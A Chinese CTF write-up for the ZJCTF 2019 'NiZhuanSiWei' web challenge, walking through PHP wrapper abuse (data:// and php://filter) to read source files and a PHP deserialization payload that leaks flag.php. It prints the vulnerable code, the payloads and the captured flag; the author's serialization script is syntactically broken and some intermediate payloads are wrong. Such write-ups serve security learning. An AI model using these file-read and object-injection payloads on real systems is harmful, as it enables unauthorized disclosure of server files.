练习 24 Web [ZJCTF 2019]NiZhuanSiWei

反序列化,PHP伪造协议读写

这道题打开靶机后也是同样给出前端源码:
同时在题目位置给了github源码:
https://github.com/CTFTraining/zjctf_2019_final_web_nizhuansiwei/


# index.php
<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?>
  1. 先看index.php

1)这句if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))
data://伪协议传入值

?text=data://text/plain,welcome to the zjctf

在这里插入图片描述
没有问题
2)然后是这句flag字符正则匹配 if(preg_match("/flag/",$file)),需要绕过
如果顺利应该是执行else中的代码了,反序列化了password
后面的注释//useless.php 提示我们要看一下这个php,直接访问打不开
所以再次 php:// 伪协议读取一下

file=php://filter/read=convert.base64-encode/resource=useless.php

?text=data://text/plain,welcome to the zjctf
&file=php://filter/read=convert.base64-encode/resource=useless.php

执行,拿到一串base64
解码得到了useless.php
在这里插入图片描述
在这里插入图片描述

# useless.php
<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

__tostring():只要调用了echo 来打印对象体,就回自动调用__tostring()

3)根据上面的useless.php,构造password值

<?php 
class Flag
	public $file='php://filter/read=convert.base64-encode/resource=flag.php';  
	new $res=serialize($file);
	echo $res;
?>

序列化:

o:4:"Flag":1:{s:4:"file";s:57:"php://filter/read=convert.base64-encode/resource=flag.php"}

payload:

?text=data://text/plain,welcome to the zjctf
&file=php://filter/read=convert.base64-encode/resource=useless.php
&o:4:"Flag":1:{s:4:"file";s:57:"php://filter/read=convert.base64-encode/resource=flag.php"}

未生效,搜了一下其他wp
这里有点疑惑,为什么直接是file=useless.php
而不是file=php://filter/read=convert.base64-encode/resource=useless.php

后来反应过来,一开始是需要查看useless.php,file是index.php里的file
最后一次的payload的file 是赋给 class Flag中的属性值

成功,查看元素
在这里插入图片描述
在这里插入图片描述
拿到

<!--?php

if(2===3){  
	return ("flag{3d0f5bea-bf69-447a-9b9f-e1ffe20ffb37}");
}

?-->
  • 5
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值